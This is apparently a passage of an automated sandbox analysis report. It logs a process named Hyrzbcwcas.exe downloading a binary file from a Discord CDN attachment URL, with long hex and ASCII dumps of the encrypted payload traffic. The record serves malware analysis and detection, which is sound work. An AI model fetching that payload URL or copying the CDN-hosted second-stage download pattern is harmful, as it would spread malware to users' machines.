4e 64 d5 bf ce b1 9c c1 93 2d 4b 8e e6 14 b4 f6 c9 24 47 85 0e 87 13 12 cb d8 12 8f 65 46 f7 0b 00 68 4e 14 d0 45 dc 4f d6 c3 6f dd d1 b6 fb 13 56 56 de 53 Data Ascii: b5]1T"thb:i x-K@u?ZQ?se{X*^HeF6#t(p$ ]~n[vDrd3Y9fI^HthN-4ZlWqoVV"5bAxqrdENd-K$GeFhNEOoVVS
2022-01-13 19:22:46 UTC	985	IN	Data Raw: be 79 f4 ba 87 02 18 1d 28 c6 58 dd b7 5f cf b2 f2 ff e3 e3 c0 65 c7 a0 b5 87 36 1d a1 44 b8 74 0e 87 13 13 e4 88 95 32 d6 47 6d d9 c8 21 31 bd 8a 99 3b 5b 59 a7 2d 4b 77 6f dd d1 b6 fb ef bc cf 64 cc e8 e0 0b 56 71 02 a8 5f 56 ad 32 46 03 e2 9e 98 5d 3d 46 27 1e 80 ab 4b a4 f3 26 94 ef dd f1 d0 1e ea 44 d3 9b 1b 63 ee 5d 96 90 e6 48 23 15 3c ac cf 92 8f 09 bb a2 ee 5d 9b 7f 41 55 80 a9 1e ea 4a 26 96 f4 c4 3e db e0 18 b4 d2 13 3a a8 9c ec 58 0e c7 e0 72 49 ad 27 7e 55 80 ae a9 77 c5 b8 d7 84 cc 0f 29 68 0e c7 8a b9 a5 15 56 66 6d f3 42 ba 44 d4 19 dc 11 a9 ad 9b 71 69 d5 cb 5f 3f 87 66 c2 43 bf 53 7d bf d6 19 e0 a7 a6 9a 55 a1 a7 59 ad 67 c1 7b f4 6f 77 e5 97 1c 9a ba 70 44 c2 46 52 03 9a fd 24 b4 7c 7a 76 6d dc f6 64 18 9e c5 dc cb f8 16 04 fd f3 02 a7 Data Ascii: y(X_e6Dt2Gm!1;[Y-KwodVq_V2F]=F'K&Dc]H#<]AUJ&>:XrI'~Uw)hVfmBDqi_?fCS}UYg{owpDFR$\|zvmd
2022-01-13 19:22:46 UTC	1001	IN	Data Raw: 6a b9 7e 80 78 d9 20 a6 f3 46 88 57 a9 4f e8 b0 d4 24 cb 60 b9 52 34 c4 67 16 a1 57 d4 77 c9 d1 6d 5c cf ea e5 ce 44 3e 74 3b aa 6b 16 67 33 a6 78 98 78 fa 52 e2 a3 ae 5e d1 b6 bb 0b c3 47 0c d9 db 46 fc 69 35 50 f1 05 b3 f9 07 82 7f 49 76 9d 4d ee 3e 09 b3 ff 44 01 15 f0 f1 15 ea 26 37 31 47 0c 81 8e 60 b5 87 ec 89 f6 60 c0 53 14 57 21 62 73 92 e2 a4 99 b1 48 73 34 5e 28 4b 4d 92 eb b4 73 5e 38 27 3c 98 78 f4 14 57 50 59 52 ed f0 05 b1 88 c5 17 10 ff dc ca e7 6c 94 f4 da 15 eb c8 21 44 27 06 65 2c 08 69 39 a7 55 d1 4b b6 eb 85 d7 fc cc 3e 1a 71 cb 55 e2 d7 d8 ad b7 54 de 04 fb 30 39 a6 d6 65 b2 2b 7e 7f fe 9a bd 6b 54 22 4c 10 8b f8 0c 92 df 9f 72 11 f0 43 6b a1 06 34 ae 30 ea 71 69 de d8 64 31 57 4a 88 cf b6 3c 6f d9 0e 04 76 86 72 11 47 8d e7 64 4d 54 Data Ascii: j~x FWO$`R4gWwm\D>t;kg3xxR^GFi5PIvM>D&71G``SW!bsHs4^(KMs^8'<xWPYRl!D'e,i9UK>qUT09e+~kT"LrCk40qid1WJ<ovrGdMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49751	162.159.135.233	443	C:\Users\user\Contacts\Hyrzbcwcas.exe

Timestamp	kBytes transferred	Direction	Data
2022-01-13 19:22:56 UTC	1016	OUT	GET /attachments/801846679439016010/931166967853875200/Hyrzbcwcasllzbwmlqsydewtjitxnzf HTTP/1.1 User-Agent: 85 Host: cdn.discordapp.com Cache-Control: no-cache
2022-01-13 19:22:56 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 13 Jan 2022 19:22:56 GMT Content-Type: application/octet-stream Content-Length: 488448 Connection: close CF-Ray: 6cd0ff04883c7057-FRA Accept-Ranges: bytes Age: 21576 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Hyrzbcwcasllzbwmlqsydewtjitxnzf ETag: "6ce484ddb0699821883415a6a3c03422" Expires: Fri, 13 Jan 2023 19:22:56 GMT Last-Modified: Thu, 13 Jan 2022 12:45:05 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1642077905426119 x-goog-hash: crc32c=ezqS6w== x-goog-hash: md5=bOSE3bBpmCGINBWmo8A0Ig== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 488448 X-GUploader-UploadID: ADPycdvRzXtsPBcamJvr00nxQdLhRJEMoAYpY8SiWiAVO9bYx2AneSL0MYtS-kyeIcV-aXT9cMB6Wue_WC7NzP4DAPhWzq96GQ X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2022-01-13 19:22:56 UTC	1017	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 53 56 6c 5a 70 77 42 4a 4f 67 54 4d 37 44 49 51 30 35 77 41 73 6f 5a 68 54 66 38 66 71 43 4f 35 61 43 53 51 53 69 65 66 41 73 37 43 76 39 65 63 4a 48 52 43 71 44 69 35 30 49 38 6a 72 47 69 51 77 4f 55 6e 57 55 4b 6a 4f 6c 56 4f 63 6a 4b 42 4e 46 32 58 54 4c 25 32 42 35 78 7a 48 4d 58 6a 41 73 38 4c 31 74 59 57 43 37 37 6d 73 64 47 72 4b 54 58 77 4f 43 79 68 64 48 4e 61 25 32 46 52 48 63 6e 42 56 59 50 39 73 77 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=SVlZpwBJOgTM7DIQ05wAsoZhTf8fqCO5aCSQSiefAs7Cv9ecJHRCqDi50I8jrGiQwOUnWUKjOlVOcjKBNF2XTL%2B5xzHMXjAs8L1tYWC77msdGrKTXwOCyhdHNa%2FRHcnBVYP9sw%3D%3D"}],"group":"cf-nel","max_age":60
2022-01-13 19:22:56 UTC	1017	IN	Data Raw: 18 da 04 39 22 f7 4a 5b f6 c6 57 ec 36 9e 95 6a 0a 39 28 89 53 db 8c ce 77 a1 05 b7 39 27 6e 03 b6 bc 46 4a 4f d3 fa c1 d4 73 af 2f 14 d5 ef a1 14 d3 f5 4f d3 ff 5d e6 22 fd 51 df 91 68 1e f2 d8 01 a4 9a f9 4b cf e2 1b 6d 90 e2 18 dc 1f 74 30 95 7c 33 1d 6c 16 c8 64 0b 49 cd ea 2f 00 30 8a de 1d 61 fa d5 fe ca 60 72 2d 0f 4d d3 eb a8 84 cb e7 ae ad 23 74 38 a3 1f 65 83 4e 55 f4 dc 17 5d f8 c4 5e 7c 3b 3a af 25 73 a2 8a d8 16 c0 49 ce 7e 36 9b 7b b9 d1 f1 b3 3d 2b 03 af 3b 32 8e e5 ad 2e 89 53 de 03 a9 10 c2 51 df 94 ff 44 a6 90 e8 20 ea 2a 84 dc 08 37 28 84 c8 62 11 55 fc d1 f8 c4 5e 7c 3b 3a af 25 73 a2 8a d8 16 c0 49 ce 7e 36 9b 7b b9 d1 f1 b3 3d 2b 03 af 3b 32 8e e5 ad 2e 89 53 de 03 a9 10 c2 51 df 94 ff 44 a6 90 e8 20 ea 2a 84 dc 2d 2e ac 8a c9 f7 58 Data Ascii: 9"J[W6j9(Sw9'nFJOs/O]"QhKmt0\|3ldI/0a`r-M#t8eNU]^\|;:%sI~6{=+;2.SQD 7(bU^\|;:%sI~6{=+;2.SQD -.X
2022-01-13 19:22:56 UTC	1018	IN	Data Raw: 6b 1f f7 d8 8a 47 5c f5 d7 06 af a5 86 4d 5a e2 82 5d 78 b5 ba cc e5 23 e6 bd 4c d7 1e 78 a0 00 b0 2f 8a 54 e3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce e1 18 47 59 64 86 48 c8 fa 57 66 94 72 ba d6 9e 1a 6c 96 70 a0 11 ce e1 0b ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 f6 54 fd db 16 45 40 36 18 52 db 0c 4d 55 6e 80 5a ed 2e 11 c4 d9 0c 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 e1 08 a7 9e 1e 7b 24 77 26 79 37 a7 90 6c 9e 07 33 82 59 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea b1 b0 29 8e 7f d8 95 fa 4b 4a c5 45 5b 68 81 cc ee af ae 20 6d 03 36 04 bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e 0e 42 22 7e a2 13 d0 f5 c7 7e a7 82 5d 6a 81 c5 4f 5b 7d 27 fb d6 9d 8f ec a0 0c 41 a4 00 bb 54 fc 52 c4 c0 df 07 2a 04 a2 04 af b5 b0 2d 83 Data Ascii: kG\MZ]x#Lx/ThGYdHWfrlp@)1rON(YTE@6RMUnZ.EQYw7{$w&y7l3Yaday:5PH)KJE[h m6LB0.B"~~]jO[}'ATR-
2022-01-13 19:22:56 UTC	1020	IN	Data Raw: e8 a0 00 a7 82 5f 6b 1f f7 d8 8a 47 5c f5 d7 06 af a5 86 4d 5a e2 82 5d 78 b5 ba cc e5 23 e6 bd 4c d7 1e 78 a0 00 b0 2f 8a 54 e3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce e1 18 47 59 64 86 48 c8 fa 57 66 94 72 ba d6 9e 1a 6c 96 70 a0 11 ce e1 0b ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 f6 54 fd db 16 45 40 36 18 52 db 0c 4d 55 6e 80 5a ed 2e 11 c4 d9 0c 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 e1 08 a7 9e 1e 7b 24 77 26 79 37 a7 90 6c 9e 07 33 82 59 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea b1 b0 29 8e 7f d8 95 fa 4b 4a c5 45 5b 68 81 cc ee af ae 20 6d 03 36 04 bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e 0e 42 22 7e a2 13 d0 f5 c7 7e a7 82 5d 6a 81 c5 4f 5b 7d 27 fb d6 9d 8f ec a0 0c 41 a4 00 bb 54 fc 52 c4 c0 df 07 2a 04 a2 Data Ascii: _kG\MZ]x#Lx/ThGYdHWfrlp@)1rON(YTE@6RMUnZ.EQYw7{$w&y7l3Yaday:5PH)KJE[h m6LB0.B"~~]jO[}'ATR
2022-01-13 19:22:56 UTC	1021	IN	Data Raw: e3 16 58 f2 49 58 e8 a0 00 a7 82 5f 6b 1f f7 d8 8a 47 5c f5 d7 06 af a5 86 4d 5a e2 82 5d 78 b5 ba cc e5 23 e6 bd 4c d7 1e 78 a0 00 b0 2f 8a 54 e3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce e1 18 47 59 64 86 48 c8 fa 57 66 94 72 ba d6 9e 1a 6c 96 70 a0 11 ce e1 0b ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 f6 54 fd db 16 45 40 36 18 52 db 0c 4d 55 6e 80 5a ed 2e 11 c4 d9 0c 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 e1 08 a7 9e 1e 7b 24 77 26 79 37 a7 90 6c 9e 07 33 82 59 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea b1 b0 29 8e 7f d8 95 fa 4b 4a c5 45 5b 68 81 cc ee af ae 20 6d 03 36 04 bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e 0e 42 22 7e a2 13 d0 f5 c7 7e a7 82 5d 6a 81 c5 4f 5b 7d 27 fb d6 9d 8f ec a0 0c 41 a4 00 bb 54 fc 52 c4 Data Ascii: XIX_kG\MZ]x#Lx/T*hGYdHWfrlp@)1rON(YTE@6RMUnZ.EQYw7{$w&y7l3Yaday:5PH)KJE[h m6LB0.B"~~]jO[}'ATR
2022-01-13 19:22:56 UTC	1022	IN	Data Raw: 72 a1 86 4c b9 e6 1a c1 15 d2 58 b8 39 39 ea b1 50 82 2e ad df 7a 7b 3e 2c a7 ce e6 37 c9 7e 56 2e 7f 2a 95 fc 52 df b7 80 b8 16 cc ae 52 4f b8 22 d1 cd 04 b1 be 67 ea aa 87 68 ee 23 9a 03 4f c6 3f a5 f1 4d 20 74 6c 69 19 dc 1d e0 12 4a 6f f9 d6 0d 34 0f 5a ba bd bf 28 17 7d 88 48 63 71 a4 9e 6a ee 7e 57 67 72 72 df 04 d3 a2 bc db c3 79 4a b0 fc 36 db 78 b5 65 38 5f 1a bd 8b f8 32 62 45 af 08 86 9b fd a9 37 46 d7 a5 a6 b9 7e 6f 05 59 b4 27 99 17 1b 91 59 b6 57 84 9d ed 87 0e 26 6f a6 76 01 4f 58 4a 7e bc 61 9f 98 20 cb f9 21 8f 1a 50 c7 82 20 c9 74 fc de 07 82 24 db 6f 3d d1 e7 52 ad 31 75 39 de ea d4 ea 5c 76 b5 bd f3 05 59 e6 7e 08 a9 dd 66 7c 9f 26 96 69 33 1a 1c 96 de ea 1f 00 1e b1 f1 2d d5 31 d0 14 6b 57 b8 e3 08 5e 42 1e fe c9 6f 77 8d ee 03 31 f8 Data Ascii: rLX99P.z{>,7~V.*RRO"gh#O?M tliJo4Z(}Hcqj~WgrryJ6xe8_2bE7F~oY'YW&ovOXJ~a !P t$o=R1u9\vY~f\|&i3-1kW^Bow1
2022-01-13 19:22:56 UTC	1024	IN	Data Raw: 2e 0a b1 fc 72 81 10 89 69 d4 f8 41 a9 f2 b1 39 fc 80 f5 13 d3 7b 2c bc ac 5a 6c 43 04 7e ad ae 37 df 0b ca 8c 84 f0 62 94 7a b7 da 4f 98 d2 3e d6 52 d0 fc 43 f8 b9 c8 5f bf bf 8e 68 9c 0a e2 5f a5 37 6f af 6e 8f ef 3c af d1 0f 37 7c 50 14 5c e4 a1 2b 18 fa dd cb 85 e4 b6 2b 85 b0 2c 0c 23 31 71 0f cc ea bb 8f 4e 4c 52 19 6e aa 2b 95 e5 46 cb 61 19 17 60 ce fb cf 62 09 5a 92 eb e8 1c 55 72 ab ae b2 8c eb 5a 27 4f 71 32 00 a5 20 50 f2 6c 54 53 6e 92 7e a8 92 6f 19 e7 e2 2a 3d b8 28 1d bc 4a 35 70 7b 8c 4f 59 61 77 1b 3b 71 9e c6 31 96 73 33 87 43 fd 90 61 a4 f4 57 63 1d fe 2f e3 78 c3 94 d7 0d d6 9e 02 0f 7f 7d 48 1b 0e 40 37 ab b5 f8 be 35 de 4c 3f b2 3f ba cd 9a 1d 87 51 84 f5 d5 71 2d 87 29 f1 5b f8 97 40 30 1f fd cf bb 13 81 fa 96 93 99 fa 45 4a d0 b0 Data Ascii: .riA9{,ZlC~7bzO>RC_h_7on<7\|P\++,#1qNLRn+Fa`bZUrZ'Oq2 PlTSn~o*=(J5p{OYaw;q1s3CaWc/x}H@75L??Qq-)[@0EJ
2022-01-13 19:22:56 UTC	1025	IN	Data Raw: dc 9f 86 4d 6a 71 c6 4d 95 4e e4 a1 8d ea 84 89 00 12 96 c8 d3 6e 9d 9d 55 20 29 a5 49 a7 bc cf 66 95 f4 3d d1 ac f3 74 9a 7e a3 83 c5 45 4a c2 1c d6 ac 20 6f 12 b7 bf 53 67 d1 9e 34 1c 71 2f 55 3f e4 86 93 58 ce e1 0b c6 79 bb b3 a4 de 3c 26 60 f1 28 05 e4 7c 07 ff 31 8e 61 6c 85 b8 55 00 c7 aa 93 f9 c2 c1 5f 5e 23 31 da 57 82 42 34 0b cc 45 c9 ef 34 c4 30 15 d4 eb 30 5c 70 25 11 15 3e 2e 0f da 9a 3d 28 81 98 bc 79 3b a2 00 a8 99 9c 76 22 b6 cb 71 25 f6 43 aa 86 c3 15 09 87 b4 27 f4 49 8c 96 bc 94 ba 28 7b 2d 95 e1 78 7e 7c 19 1e d1 0c 45 4d 59 97 f0 af 8a 8f 5e 8b db 1f fe a5 bb 6b 8a 87 3f d1 67 03 25 1a 39 fa 5a 20 9e 6d 19 c9 71 d8 e6 c3 be 13 7d 55 69 05 24 41 0e fc c9 a4 a9 14 5f 67 1b c0 0f 06 e7 e3 b1 30 11 df 07 84 e5 8a 3a f7 24 f5 d4 e1 15 31 Data Ascii: MjqMNnU )If=t~EJ oSg4q/U?Xy<&`(\|1alU_^#1WB4E400\p%>.=(y;v"q%C'I({-x~\|EMY^k?g%9Z mq}Ui$A_g0:$1
2022-01-13 19:22:56 UTC	1026	IN	Data Raw: b2 30 01 3c 39 f5 27 95 ee 62 3f bc c1 54 ed c7 00 9a de 51 e5 2b 9e 09 2a ac f1 ce 6d cf c4 db 10 4b 5a e7 24 7a be 18 e5 31 9a 74 b6 a9 a6 53 b0 f7 77 22 65 12 4e ed 22 51 03 e9 cb 75 25 f2 55 43 63 0c 5c 36 ef 4c d9 1a 6a fe 09 84 63 cd dc f6 5f 71 27 50 c5 fa 97 2b 6d 60 f7 dc 8f 47 27 0a 31 4e 38 42 2e 1d ea 3e 53 4c 78 75 ce 89 d1 77 3a a6 27 56 fc 92 da e7 2f 82 50 83 de 8a f5 0e fd be c4 c6 ce 49 46 78 d6 5a 5a 16 4d 5d 7a 6b 05 64 6a 5a 5e 76 be da 87 cf d0 bf 13 11 7c 31 9e 10 5c 99 95 a2 c6 1b 55 e0 8c 49 54 f5 6a 6e 20 b5 0c b9 4c dc 86 b6 37 85 6d da 65 8d e4 b4 28 d0 f6 ac 15 0c a5 7c b2 2c 1f 56 21 c8 58 29 3a 99 eb 2c 0e 88 fd b3 23 29 6f f0 ba ce e7 27 a9 59 35 42 d5 94 61 77 26 32 28 03 38 fb 6a 7b 32 19 d3 71 4f 3b e6 7f 77 4f 5e e9 3b Data Ascii: 0<9'b?TQ+*mKZ$z1tSw"eN"Qu%UCc\6Ljc_q'P+m`G'1N8B.>SLxuw:'V/PIFxZZM]zkdjZ^v\|1\UITjn L7me(\|,V!X):,#)o'Y5Baw&2(8j{2qO;wO^;
2022-01-13 19:22:56 UTC	1028	IN	Data Raw: 01 98 0b d6 9e 19 5a 3d 17 86 8d 5a 89 c0 df 08 22 56 0b c4 1d 54 86 57 69 1a bb 6a 3f 90 bf f3 ae 3b ac 3b dd 30 8e 9c dd ff ad a7 8d fc e2 39 bb 51 8d 56 1c 62 9d 91 f6 6f 1f 55 ad 17 5c f1 3c 23 98 01 11 7a 6b fd 53 5f 6d 14 d1 6d 86 3a eb 85 4e c2 c4 dc 25 c9 81 86 9d 2c 8b c0 dc 9a 9c d8 9a c4 12 a2 fc 52 cf 60 87 3c ea 8d 2a b6 cb 63 17 d6 bc dd b6 11 10 a1 31 9d 93 e1 3e e5 12 ed eb da 67 09 2d 8b be 61 35 74 70 48 74 ad b4 26 b7 c9 e2 5d b2 83 79 38 2a 05 84 24 3a 93 28 f0 c6 dd 1d e3 1d e3 43 1a be 70 da 9f 82 4a 97 7f 21 e8 7c 56 b8 2e 13 c1 17 96 c5 55 a5 2e 5a ec bf 44 b9 fc 21 e0 4e 6e cd 6a 80 51 13 bc 80 81 1b 0f 96 61 71 29 ed 1b d1 e6 6a 62 cc ef 2f 84 c0 b9 38 38 fb 7c fe 53 4a dc e7 cb 59 25 3b 10 00 a7 84 5b d3 3a 1d 71 e6 0a e3 19 cd Data Ascii: Z=Z"VTWij?;;09QVboU\<#zkS_mm:N%,R`<c1>g-a5tpHt&]y8$:(CpJ!\|V.U.ZD!NnjQaq)jb/88\|SJY%;[:q
2022-01-13 19:22:56 UTC	1029	IN	Data Raw: 94 64 41 98 0c fa 64 83 c6 c2 c9 b7 69 76 19 e0 8d ee aa 3d d5 63 a1 79 52 7f 83 be 6c 7a bc 65 03 f3 f3 b9 b1 9f 88 42 33 87 10 84 3e 8c 63 14 45 45 5b 19 dd 87 20 14 cd 2e 67 a8 01 f6 7f b4 c6 e3 10 40 37 a6 d8 40 5e 12 6f 15 cc f6 59 1c 70 0a 4c ad 0e 18 2d 2c 07 ea 8f 95 44 1c 79 3f b9 4b 9d 54 98 94 55 62 82 50 d6 e0 90 c0 26 15 42 6a e6 36 1c a6 2c 71 c9 41 a9 80 4d 53 84 96 1d 59 54 ee b0 23 f5 a0 1c f2 c5 3b 3b 1c 04 1c 77 fd f9 a5 76 84 50 c9 66 9d 5f bb 3d 1a 4f 5e f9 cf 75 5a e5 ca 6a fc 4a c3 54 e6 08 eb 5e 9d 6d 65 19 c0 d4 55 20 0a 31 a7 03 6e ec 52 24 03 51 84 ec df 17 aa 2a 0c 81 e3 75 bf 7c 61 66 f7 7e 90 74 b5 ab a1 26 97 60 e6 1f d2 f9 cb 6a 80 cf 5b d3 56 23 f1 5c 18 66 89 de 96 6c 3a 44 9a 63 e9 15 db 0b c9 63 cc c0 ac a4 31 37 85 0d Data Ascii: dAdiv=cyRlzeB3>cEE[ .g@7@^oYpL-,Dy?KTUbP&Bj6,qAMSYT#;;wvPf_=O^uZjJT^meU 1nR$Q*u\|af~t&`j[V#\fl:Dcc17
2022-01-13 19:22:56 UTC	1030	IN	Data Raw: 18 36 ec b2 94 3d b8 fb dd 66 35 b6 26 7a b5 a4 91 bf e6 bf e1 5d 7c 47 15 bf e8 54 e0 46 d2 81 75 04 b3 b9 4f 52 7d ce 36 18 82 44 46 1a 57 01 98 52 d8 89 cc f3 5b 26 de 84 81 e0 f1 c8 f9 67 48 c5 bf 71 25 f7 d5 65 a3 c8 7a ba 0b 03 45 cb 64 2e 49 47 95 f3 b2 80 7a b4 37 bc cc 19 51 f8 57 94 e2 f1 a8 97 e8 04 4d 4f 94 7a d2 4e f0 ac 2a 1c 60 58 aa f5 dc 17 29 8d 2c 07 43 0c 7e b3 a5 84 42 9e fd 0c 57 aa 04 c3 91 d7 7c 05 04 26 fe 49 a0 22 72 a2 0e 54 71 a2 d5 74 75 f3 b9 cb 5b db 83 c5 92 62 e8 14 74 ad bc d1 74 21 b0 ec b5 0e 81 b4 c7 20 7a b1 54 85 65 5b 7b 5b 9b 68 91 f8 45 a0 11 10 44 5f c9 41 b1 b9 4b 47 ed be 1f f6 f4 79 25 f4 4c d1 aa 1a 0a 19 f1 ed 26 12 f5 fa 5e fc 5a f2 d1 38 c4 c4 6e b6 22 68 98 77 d3 75 b9 1a 7c 78 a0 6a 79 1a 68 88 53 51 fb Data Ascii: 6=f5&z]\|GTFuOR}6DFWR[&gHq%ezEd.IGz7QWMOzN*`X),C~BW\|&I"rTqtu[btt! zTe[{[hED_AKGy%L&^Z8n"hwu\|xjyhSQ
2022-01-13 19:22:56 UTC	1032	IN	Data Raw: 47 ef 24 c5 d0 91 06 e4 a3 82 4b a6 a5 ef 88 00 a6 1f fe f6 2d eb ad 3b b8 41 bc d1 f7 fe c4 30 62 3a 47 5a f1 54 4a 26 7c 1f 54 11 bc d4 f3 a0 0c bf fb ca ee 2e b9 be bd 45 5b fa 72 1c b9 2a e0 e0 8d a1 c3 fd 65 75 bc da 2b 68 fa 4a 69 ae 41 b1 56 9b aa 93 58 61 0e 57 03 62 0f 03 37 ac 24 6a 3a 72 a3 96 69 b3 09 3e c1 a3 9a 05 67 1b 15 91 f4 4c 96 18 bc 7a 73 6b 17 4f ee d9 9e 44 3b 6d 1d 95 41 11 79 59 78 cd fe 18 44 93 97 f7 ce ea d4 68 6b 75 8d ee 0f 6c 26 06 57 d0 8d fe 0a 69 86 29 8d 00 43 44 46 c4 d5 d5 d1 19 95 f8 56 9d e2 e7 23 cd 2c 0d c3 cd 17 30 ce 84 bc de 6b 51 bc 5e 6a 2d e2 82 40 de 2b 3f 51 e8 4d 17 26 2d 46 7d a1 c1 48 d9 05 29 93 e3 01 5d 10 56 f5 61 d8 f2 22 6d 13 86 51 3c 8c e6 c0 a3 c1 51 69 b8 26 67 5e f7 9a 60 ea e6 ad a4 f9 13 a5 Data Ascii: G$K-;A0b:GZTJ&\|T.E[r*eu+hJiAVXaWb7$j:ri>gLzskOD;mAyYxDhkul&Wi)CDFV#,0kQ^j-@+?QM&-F}H)]Va"mQ<Qi&g^`
2022-01-13 19:22:56 UTC	1033	IN	Data Raw: 28 66 16 cf 2e 1a 6f 13 af 20 4c ad 7c 0c 96 07 3b 1a 7a 74 4a 1c 0f c1 1c 60 38 93 32 a6 05 6b 11 13 6f d3 2a 18 1f fe 97 4c 0a e0 98 3f bf 85 25 c7 2f 8c 37 a2 d7 e9 10 05 3a 7a b4 f8 a2 31 cb 71 79 3e ed 82 7f 9f 91 a0 1b b6 a9 2f ab a7 ec fc 48 dd ad 67 8a 1a 6e 37 46 9a 6e 93 f8 14 3a 43 bc 81 2c 05 32 f9 0f ce 5c 13 6b 5d 65 0d d4 9b 92 76 a6 44 3c 36 8f 8b 0c 39 b1 c8 50 d6 9f 67 d6 e4 be 13 be 67 ed e0 e2 31 0f 99 e1 1b f6 36 16 b3 5a ed 33 32 b5 00 d3 72 a4 13 39 6d 13 b7 a5 2c e8 ba d7 a5 05 24 7a a2 1c cc d9 c7 81 c3 56 e9 48 9a ec 0e dc 1d 09 a3 8a 2d 3f a3 93 f4 9c 5e 6d a3 09 70 cb 77 31 8c c0 3d e9 22 6d 0a df b6 83 50 bd 24 65 8c fc 52 c6 30 da f0 5e 36 5d 31 74 d3 74 c8 49 3e 91 be c6 c0 d1 72 04 59 35 85 c9 70 c5 19 c7 f5 20 fc 3d c9 1a Data Ascii: (f.o L\|;ztJ`82ko*L?%/7:z1qy>/Hgn7Fn:C,2\k]evD<69Pgg16Z32r9m,$zVH-?^mpw1="mP$eR0^6]1ttI>rY5p =
2022-01-13 19:22:56 UTC	1034	IN	Data Raw: 7c b5 2f d4 85 86 55 37 a8 fc c1 14 5b 7f d0 8f 98 7a b8 61 7e ac 85 76 f3 c9 6f 0d a9 8e 17 53 5d 6a ca f4 da 69 68 f5 50 73 71 31 9a 60 95 f5 0c ca e6 ad e0 ed 71 22 61 19 83 c9 7b 4f 81 1d 51 8e e4 c9 c3 f6 16 4e ca e2 e5 28 8c af b3 b2 a9 3b 17 91 f4 56 e1 a7 43 a2 63 1f 75 8b d4 fd 80 5b db e9 f6 3b 31 32 4b 42 2f 92 08 bc 8b 56 e7 3b ff d5 32 7f 50 79 7b 33 84 52 bc b5 2c 9f 75 48 c8 fa ff 1c e9 4a d5 6d 1d 7d 37 a1 88 e7 f8 cc 0e 96 3c 5e bd 06 6c 90 79 37 a6 4a 61 46 85 11 89 35 0e fe 12 46 cc f7 9f 9a 0f 00 42 60 f0 af b9 41 a3 29 07 30 13 73 8f ab b7 ab af d3 eb 9b e8 a0 02 b2 53 5d 33 2e 13 cd c9 d3 3c 3f a0 1d b1 a9 f8 4e fb 39 a7 90 c1 fe 19 d9 0d c2 b5 0e 9a 0f a2 0c 6d 5e ff d2 ad 97 71 1b 93 b7 a4 46 c9 1b 84 50 bb 21 e9 3f 09 e5 d7 be 15 Data Ascii: \|/U7[za~voS]jihPsq1`q"a{OQN(;VCcu[;12KB/V;2Py{3R,uHJm}7<^ly7JaF5FB`A)0sS]3.<?N9m^qFP!?
2022-01-13 19:22:56 UTC	1036	IN	Data Raw: 2d 49 24 d1 ce 13 a8 58 f9 86 50 91 ec e1 17 8c 43 f5 c7 2a 1b 77 b2 d9 19 c3 58 9a 3a 24 63 36 b2 08 eb fb 52 1b 44 07 7a 66 5d 1c 0b 9f 1c 0e df 14 32 8e 2e 6a c7 69 77 3f 6e 02 a2 0b 39 7a 0a 79 52 3c 99 e6 d6 93 ef 75 a0 62 10 a4 02 dc 94 7c 1e 83 29 ff cd 6c 05 84 53 3b a2 03 b8 d2 13 ad a5 9d 95 67 a8 04 b6 88 8b cd b7 b6 23 f7 d1 24 28 de c3 18 55 4e 94 07 41 fb c8 99 fb b0 b5 b5 0a b8 4f 5a ec aa 4b df 4d 20 2b 6e ae 44 d7 ff d0 f5 c2 7f 37 d2 1c 78 c0 68 ff c1 42 39 de 61 4b 06 b3 ab ba d8 ea 0f 24 66 8a 50 d6 00 8e 11 19 33 91 6a 91 18 40 f2 a8 13 97 f0 fb dc df b7 55 71 77 bd d2 ec bc c3 5f 73 0b 9f 91 e1 94 49 05 37 a1 90 7a cc 75 b1 91 f9 d1 65 64 db a6 ba e6 a7 9c 07 2d 4b 10 54 ee 27 a9 e8 e5 2d dd 08 24 c2 c9 79 22 62 ea d6 9a a9 c5 41 a1 Data Ascii: -I$XPC*wX:$c6RDzf]2.jiw?n9zyR<ub\|)lS;g#$(UNAOZKM +nD7xhB9aK$fP3j@Uqw_sI7zued-KT'-$y"bA
